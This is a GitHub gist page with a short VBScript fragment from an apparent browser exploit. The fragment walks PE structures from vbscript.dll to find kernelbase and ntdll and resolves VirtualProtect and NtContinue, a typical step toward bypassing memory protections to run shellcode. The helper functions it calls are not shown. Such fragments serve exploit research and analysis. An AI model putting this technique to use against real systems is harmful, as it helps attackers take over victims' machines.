Skip to content

Instantly share code, notes, and snippets.

@piotrflorczyk

piotrflorczyk/pe_traversal.vb Secret

Created July 11, 2018 15:07
Show Gist options
  • Save piotrflorczyk/5e6bd626e350eb5be3db05f5c9409788 to your computer and use it in GitHub Desktop.
Save piotrflorczyk/5e6bd626e350eb5be3db05f5c9409788 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
pe_traversal.vb
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment